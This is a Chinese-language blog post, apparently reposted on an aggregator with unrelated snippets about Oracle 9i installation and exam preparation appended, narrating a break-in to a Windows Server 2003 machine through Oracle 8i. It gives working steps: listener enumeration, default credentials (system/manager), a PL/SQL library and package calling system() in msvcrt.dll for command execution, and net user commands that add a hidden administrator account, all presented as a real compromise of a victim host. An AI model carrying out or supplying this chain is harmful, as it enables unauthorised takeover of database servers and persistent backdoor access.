一次通過 Oracle8i 入侵系統之旅

2021-04-18 00:08:52 字數 1749 閱讀 5599

埠 1521 是 oracle 的 tns listener 預設監聽的埠,通過掃瞄報告還可以看到 oracle 的版本為 8i.現在還不 知道對方的作業系統版本,看到主機還開放了終端服務,直接連上去看下作業系統版本.如圖 2,

圖 2確定作業系統版本為 windows server 2003 企業版。oracle 10g 之前的版本預設情況下是允許遠端管理 tns listener 的,這台主機的 oracle 版本為 8i,我們通過 tns listenner 來收集下更多的詳細資訊.如果本地安裝了 oracle 可以直接呼叫 lsnrctl 連線到測試的主機,如圖 3 所示:

圖 3通過輸入"status "命令我們可以得到 oracle 詳細版本(8.1.70.0),作業系統(windows),跟蹤級別為 off(說明沒有開啟審核),安全性為 off(說明沒有設定 listener 口令),日誌檔案的絕對路徑(判斷 oracle 安裝路徑),資料庫的 sid(ccdr).

要遠端管理 oracle, 需要知道 ip,資料庫的 sid,和連線的使用者名稱和密碼.ip 和 sid 我們已經知道了. 接下來用oscanner 工具掃瞄下要測試主機是否存在預設的密碼.如圖 4 所示.

圖 4看來 管 理 員 安 裝 完 oracle8i 後就 沒 有 進 行 進 一 步 的 安 全 配 置 , 所有 的 用 戶 名 密 碼 都 是 默 認 的 . 在

oracle 中,sys/system 都是具有 dba 許可權的帳戶,我這裡選擇使用 system/ma nager 來連線資料庫.

在本地用 sqlplus 連線到目標 oracle 資料庫,命令為:

sqlplus system/manager@//victimip:1521/ccdr

,連線成功 後,可以通過 pl/sql 來執行 os 命令,首先需要建立庫來定位 msvcrt.dll 檔案.這裡需要使用完整的路徑,通過剛才

對主機的 查點 我們 已經 知道 操作 系統為 win2003, 如果系統 安裝 到 c 盤的話 , 那 msvcrt.dll 預設路徑 就為

c:/windows/system32/msvcrt.dll.建立庫的命令如下:

create or replace library exec_shell as 'c:/windows/system32/msvcrt.dll';

接下來寫乙個過程來呼叫 msvcrt.dll 裡的 system()函式.命令如下:

create or replace package oracmd is

procedure exec (cmdstring in char);

end oracmd;

/create ore replace package body oracmd is

procedure exec (cmdstring in char)

is external

name "system"

library exec_shell

language c;

end oracmd;

/建立完後,就可以執行 os 命令了.由於主機已經開放了終端服務,所以我這裡新增個管理員,然後連線伺服器.命 令如下:

exec oracmd.exec ('net user mickey imissyou /add');

exec oracmd.exec ('net localgroup administrators mickey /add');

帳戶建立完成後,如圖 5,就可以連線終端服務了,一台肉雞到手了.:-)

圖 5參考文獻:

《資料庫黑客大**》

第一次安裝Oracle9i

因工作的需要,前幾天買來orale 9i的光碟,3cd的。安裝還算順利,不過時間好長啊,花了40分鐘,檔案太多了,很多都是.jar。機子是c2.0 512m 120g,win2000 server oracle 和別的資料庫有乙個不同就是要選擇字符集,為了保證資料庫能夠輸出輸入資料庫,我們需要在這裡...

一次性通過資訊系統專案管理

1.了解考試 資訊系統專案管理師屬於高階職稱,通過後在北上廣落戶會有積分,每年考試兩次,5月份一次,十一月份一次,考試形式如下,共分為三科,每科滿分75分,均要達到45分才算通過考試。2.複習規劃 3.總結 以上是我在準備考試之前寫的,由於10月份還有乙個其他考試,所以真正認真複習是在10月中旬,離...

如何一次通過資訊系統專案管理師

現在越來越多的人開始關注軟考考試,也就是計算機技術與軟體專業技術資格 水平 考試,無論是想漲工資,還是公司需要,評職稱,或是辦理入戶都好,反正總歸是有點用處的。如何才能一次性通過資訊系統專案管理師?本人總結了以下幾點 資訊系統專案管理師考試分為三科,分別為綜合知識 案例分析和 綜合知識為75道單項選...